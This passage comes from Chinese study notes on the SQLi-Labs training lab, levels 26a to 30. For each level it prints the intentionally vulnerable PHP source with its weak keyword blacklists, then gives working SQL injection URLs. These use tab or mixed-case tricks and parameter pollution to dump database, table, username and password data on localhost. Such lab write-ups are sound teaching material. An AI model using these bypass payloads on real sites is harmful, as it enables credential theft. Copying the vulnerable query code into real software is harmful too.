    20.     //logging the connection parameters to a file for analysis.  
    21.     $fp=fopen('result.txt','a');  
    22.     fwrite($fp,'ID:'.$id."\n");  
    23.     fclose($fp);  
    24.   
    25.     //fiddling with comments  
    26.     $id= blacklist($id);  
    27.     //echo "
      ";  
    28.     //echo $id;  
    29.     //echo "
      ";  
    30.     $hint=$id;  
    31.   
    32. // connectivity   
    33.     $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";  
    34.     $result=mysql_query($sql);  
    35.     $row = mysql_fetch_array($result);  
    36.     if($row)  
    37.     {  
    38.         echo "";    
    39.         echo 'Your Login name:'. $row['username'];  
    40.         echo "
      ";  
    41.         echo 'Your Password:' .$row['password'];  
    42.         echo "";  
    43.     }  
    44.     else   
    45.     {  
    46.         echo '';  
    47.         //print_r(mysql_error());  
    48.         echo "";    
    49.     }  
    50. }  
    51.     else { echo "Please input the ID as parameter with numeric value";}  
    52.   
    53.   
    54.   
    55.   
    56. function blacklist($id)  
    57. {  
    58.     $id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)  
    59.     $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)  
    60.     $id= preg_replace('/[\/\*]/',"", $id);      //strip out /*  
    61.     $id= preg_replace('/[--]/',"", $id);        //Strip out --  
    62.     $id= preg_replace('/[#]/',"", $id);         //Strip out #  
    63.     $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces  
    64.     $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces  
    65.     $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes  
    66.     return $id;  
    67. }  
    68.   
    69.   
    70.   
    71. ?>  
    72.  



      
  •   

  •   

  •   

  •   
  •   

  •   

  •   
  •   
  • echo "Hint: Your Input is Filtered with following result: ".$hint;  
  • ?>  
  •    
  •   
  •   
  •   
  • 这关与26的区别在于,sql语句添加了一个括号,同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用union注入,构造payload:

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-26a/?id=-1')union%a0select%a01,2,3||('1  

    同时该例可以利用延时注入。前面已经有介绍了,自行构造即可。


    Less-27 过滤了union和select的


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 21-30)_第24张图片


    ②查看源代码:

    [plain]  view plain  copy
    1.   
    2.   
    3.   
    4.   
    5. Less-27 Trick with SELECT & UNION  
    6.   
    7.   
    8.   
    9. Welcome    Dhakkan 
        
    10.   
    11.   
    12.   
    13. //including the Mysql connect parameters.  
    14. include("../sql-connections/sql-connect.php");  
    15.   
    16. // take the variables   
    17. if(isset($_GET['id']))  
    18. {  
    19.     $id=$_GET['id'];  
    20.     //logging the connection parameters to a file for analysis.  
    21.     $fp=fopen('result.txt','a');  
    22.     fwrite($fp,'ID:'.$id."\n");  
    23.     fclose($fp);  
    24.   
    25.     //fiddling with comments  
    26.     $id= blacklist($id);  
    27.     //echo "
      ";  
    28.     //echo $id;  
    29.     //echo "
      ";  
    30.     $hint=$id;  
    31.   
    32. // connectivity   
    33.     $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
    34.     $result=mysql_query($sql);  
    35.     $row = mysql_fetch_array($result);  
    36.     if($row)  
    37.     {  
    38.         echo "";    
    39.         echo 'Your Login name:'. $row['username'];  
    40.         echo "
      ";  
    41.         echo 'Your Password:' .$row['password'];  
    42.         echo "";  
    43.     }  
    44.     else   
    45.     {  
    46.         echo '';  
    47.         print_r(mysql_error());  
    48.         echo "";    
    49.     }  
    50. }  
    51.     else { echo "Please input the ID as parameter with numeric value";}  
    52.   
    53.   
    54.   
    55.   
    56. function blacklist($id)  
    57. {  
    58. $id= preg_replace('/[\/\*]/',"", $id);      //strip out /*  
    59. $id= preg_replace('/[--]/',"", $id);        //Strip out --.  
    60. $id= preg_replace('/[#]/',"", $id);         //Strip out #.  
    61. $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.  
    62. $id= preg_replace('/select/m',"", $id);     //Strip out spaces.  
    63. $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.  
    64. $id= preg_replace('/union/s',"", $id);      //Strip out union  
    65. $id= preg_replace('/select/s',"", $id);     //Strip out select  
    66. $id= preg_replace('/UNION/s',"", $id);      //Strip out UNION  
    67. $id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT  
    68. $id= preg_replace('/Union/s',"", $id);      //Strip out Union  
    69. $id= preg_replace('/Select/s',"", $id);     //Strip out select  
    70. return $id;  
    71. }  
    72.   
    73.   
    74.   
    75. ?>  
    76.  



      
  •   

  •   

  •   

  •   
  •   

  •   

  •   
  •   
  • echo "Hint: Your Input is Filtered with following result: ".$hint;  
  • ?>  
  •    
  •   
  •   
  •   

  • 本关主要考察将union,select和26关过滤掉的字符。此处我们依旧和26关的方式是一样的,只需要将union和select改为大小写混合就可以突破。


    首先判断为单引号型:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs/Less-27/?id=1'  

    直接上payload,获取数据库:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-27/?id=100%27%09UnIon%09SeLect%091,database(),3||%271  

    SQLi-Labs 学习笔记(Less 21-30)_第25张图片

    获取表:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-27/?id=%27%09uNion%09sElect%091,group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema=%27security%27%09uNion%09sElect%091,2,%273  
    SQLi-Labs 学习笔记(Less 21-30)_第26张图片

    获取用户信息:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-27/?id=%27%09uNion%09sElect%091,(group_concat(username)),(group_concat(password))%09from%09users%09uNion%09sElect%091,2,%273  
    SQLi-Labs 学习笔记(Less 21-30)_第27张图片


    Less-27a Less27的盲注版本


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 21-30)_第28张图片

    ②查看源代码:
    [plain]  view plain  copy
    1.   
    2.   
    3.   
    4.   
    5. Less-27 Trick with SELECT & UNION  
    6.   
    7.   
    8.   
    9. Welcome    Dhakkan 
        
    10.   
    11.   
    12.   
    13. //including the Mysql connect parameters.  
    14. include("../sql-connections/sql-connect.php");  
    15.   
    16. // take the variables   
    17. if(isset($_GET['id']))  
    18. {  
    19.     $id=$_GET['id'];  
    20.     //logging the connection parameters to a file for analysis.  
    21.     $fp=fopen('result.txt','a');  
    22.     fwrite($fp,'ID:'.$id."\n");  
    23.     fclose($fp);  
    24.   
    25.     //fiddling with comments  
    26.     $id= blacklist($id);  
    27.     //echo "
      ";  
    28.     //echo $id;  
    29.     //echo "
      ";  
    30.     $hint=$id;  
    31.     $id = '"' .$id. '"';  
    32.   
    33. // connectivity   
    34.     $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  
    35.     $result=mysql_query($sql);  
    36.     $row = mysql_fetch_array($result);  
    37.     if($row)  
    38.     {  
    39.         echo "";    
    40.         echo 'Your Login name:'. $row['username'];  
    41.         echo "
      ";  
    42.         echo 'Your Password:' .$row['password'];  
    43.         echo "";  
    44.     }  
    45.     else   
    46.     {  
    47.         echo '';  
    48.         //print_r(mysql_error());  
    49.         echo "";    
    50.     }  
    51. }  
    52.     else { echo "Please input the ID as parameter with numeric value";}  
    53.   
    54.   
    55.   
    56.   
    57. function blacklist($id)  
    58. {  
    59. $id= preg_replace('/[\/\*]/',"", $id);      //strip out /*  
    60. $id= preg_replace('/[--]/',"", $id);        //Strip out --.  
    61. $id= preg_replace('/[#]/',"", $id);         //Strip out #.  
    62. $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.  
    63. $id= preg_replace('/select/m',"", $id);     //Strip out spaces.  
    64. $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.  
    65. $id= preg_replace('/union/s',"", $id);      //Strip out union  
    66. $id= preg_replace('/select/s',"", $id);     //Strip out select  
    67. $id= preg_replace('/UNION/s',"", $id);      //Strip out UNION  
    68. $id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT  
    69. $id= preg_replace('/Union/s',"", $id);      //Strip out Union  
    70. $id= preg_replace('/Select/s',"", $id);     //Strip out Select  
    71. return $id;  
    72. }  
    73.   
    74.   
    75.   
    76. ?>  
    77.  



      
  •   

  •   

  •   

  •   
  •   

  •   

  •   
  •   
  • echo "Hint: Your Input is Filtered with following result: ".$hint;  
  • ?>  
  •    
  •   
  •   
  •   


  • 本关与27关的区别在于对于id的处理,这里用的是 " ,同时mysql的错误不会在前端页面显示,可以用延时注入或者union注入,union注入只要把27给出的payload里的单引号改成双引号就行了,
    我们直接给出一个示例payload(延时):
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-27a/?id=1"and(length(database())>7)%09uNion%09sElect%091,2,"3  
    SQLi-Labs 学习笔记(Less 21-30)_第29张图片


    Less-28 基于错误的,有括号的单引号字符型,过滤了union和select等的注入


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 21-30)_第30张图片

    ②查看源代码:
    [plain]  view plain  copy
    1.   
    2.   
    3.   
    4.   
    5. Less-28 Trick with SELECT & UNION  
    6.   
    7.   
    8.   
    9. Welcome    Dhakkan 
        
    10.   
    11.   
    12.   
    13. //including the Mysql connect parameters.  
    14. include("../sql-connections/sql-connect.php");  
    15.   
    16. // take the variables   
    17. if(isset($_GET['id']))  
    18. {  
    19.     $id=$_GET['id'];  
    20.     //logging the connection parameters to a file for analysis.  
    21.     $fp=fopen('result.txt','a');  
    22.     fwrite($fp,'ID:'.$id."\n");  
    23.     fclose($fp);  
    24.   
    25.     //fiddling with comments  
    26.     $id= blacklist($id);  
    27.     //echo "
      ";  
    28.     //echo $id;  
    29.     //echo "
      ";  
    30.     $hint=$id;  
    31.   
    32. // connectivity   
    33.     $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";  
    34.     $result=mysql_query($sql);  
    35.     $row = mysql_fetch_array($result);  
    36.     if($row)  
    37.     {  
    38.         echo "";    
    39.         echo 'Your Login name:'. $row['username'];  
    40.         echo "
      ";  
    41.         echo 'Your Password:' .$row['password'];  
    42.         echo "";  
    43.     }  
    44.     else   
    45.     {  
    46.         echo '';  
    47.         //print_r(mysql_error());  
    48.         echo "";    
    49.     }  
    50. }  
    51.     else { echo "Please input the ID as parameter with numeric value";}  
    52.   
    53.   
    54.   
    55.   
    56. function blacklist($id)  
    57. {  
    58. $id= preg_replace('/[\/\*]/',"", $id);              //strip out /*  
    59. $id= preg_replace('/[--]/',"", $id);                //Strip out --.  
    60. $id= preg_replace('/[#]/',"", $id);                 //Strip out #.  
    61. $id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.  
    62. //$id= preg_replace('/select/m',"", $id);               //Strip out spaces.  
    63. $id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.  
    64. $id= preg_replace('/union\s+select/i',"", $id);     //Strip out UNION & SELECT.  
    65. return $id;  
    66. }  
    67.   
    68.   
    69.   
    70. ?>  
    71.  



      
  •   

  •   

  •   

  •   
  •   

  •   

  •   
  •   
  • echo "Hint: Your Input is Filtered with following result: ".$hint;  
  • ?>  
  •    
  •   
  •   
  •   

  • 重要的区别在这句代码:
    [plain]  view plain  copy
    1. $id= preg_replace('/union\s+select/i',"", $id);  

    那个i表示匹配的模式,i是忽略大小写,\s就是匹配任意空白字符,制表符啊,换行啊空格啊等,那我们中间不加空格能绕过吧。

    直接给出payload:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-28/?id=100')union%09select(1),(user()),(3)||('1  


    Less-28a 基于盲注的,有括号的单引号字符型,过滤了union和select等的注入


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 21-30)_第31张图片


    ②查看源代码:
    [plain]  view plain  copy
    1.   
    2.   
    3.   
    4.   
    5. Less-28a Trick with SELECT & UNION  
    6.   
    7.   
    8.   
    9. Welcome    Dhakkan 
        
    10.   
    11.   
    12.   
    13. //including the Mysql connect parameters.  
    14. include("../sql-connections/sql-connect.php");  
    15.   
    16. // take the variables   
    17. if(isset($_GET['id']))  
    18. {  
    19.     $id=$_GET['id'];  
    20.     //logging the connection parameters to a file for analysis.  
    21.     $fp=fopen('result.txt','a');  
    22.     fwrite($fp,'ID:'.$id."\n");  
    23.     fclose($fp);  
    24.   
    25.     //fiddling with comments  
    26.     $id= blacklist($id);  
    27.     //echo "
      ";  
    28.     //echo $id;  
    29.     //echo "
      ";  
    30.     $hint=$id;  
    31.   
    32. // connectivity   
    33.     $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";  
    34.     $result=mysql_query($sql);  
    35.     $row = mysql_fetch_array($result);  
    36.     if($row)  
    37.     {  
    38.         echo "";    
    39.         echo 'Your Login name:'. $row['username'];  
    40.         echo "
      ";  
    41.         echo 'Your Password:' .$row['password'];  
    42.         echo "";  
    43.     }  
    44.     else   
    45.     {  
    46.         echo '';  
    47.         //print_r(mysql_error());  
    48.         echo "";    
    49.     }  
    50. }  
    51.     else { echo "Please input the ID as parameter with numeric value";}  
    52.   
    53.   
    54.   
    55.   
    56. function blacklist($id)  
    57. {  
    58. //$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*  
    59. //$id= preg_replace('/[--]/',"", $id);              //Strip out --.  
    60. //$id= preg_replace('/[#]/',"", $id);                   //Strip out #.  
    61. //$id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.  
    62. //$id= preg_replace('/select/m',"", $id);               //Strip out spaces.  
    63. //$id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.  
    64. $id= preg_replace('/union\s+select/i',"", $id);     //Strip out spaces.  
    65. return $id;  
    66. }  
    67.   
    68.   
    69.   
    70. ?>  
    71.  



      
  •   

  •   

  •   

  •   
  •   

  •   

  •   
  •   
  • echo "Hint: Your Input is Filtered with following result: ".$hint;  
  • ?>  
  •    
  •   
  •   
  •   

  • 本关与28基本一致,只是过滤条件少了几个,直接给出payload:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-28a/?id=1')and(length(database())>7)%09uNion%09sElect%091,2,('3  


    关于 29,30,31 这三关的基本情况:请参考此链接:http://www.cnblogs.com/lcamry/p/5762961.html


    [*] Less-29 基于WAF的一个错误


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 21-30)_第32张图片


    ②首先先看下tomcat中的index.jsp文件

    SQLi-Labs 学习笔记(Less 21-30)_第33张图片


    在apache的index.php中,sql语句为:

    [plain]  view plain  copy
    1. sql="SELECT ∗ FROM users WHERE id='id' LIMIT 0,1";  

    我们根据HPP的原理,我们直接payload:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-29/index.jsp?id=1&id=-2' union select 1,database(),3 or '1'='1  

    SQLi-Labs 学习笔记(Less 21-30)_第34张图片


    Less-30 基于错误的POST型单引号字符型注入


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 21-30)_第35张图片


    于之前的区别不过是在这个位置:

    [plain]  view plain  copy
    1. $id = '"' .$id. '"';  
    2. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  


    不用说都知道怎么改了吧。


    你可能感兴趣的:(SQL注入)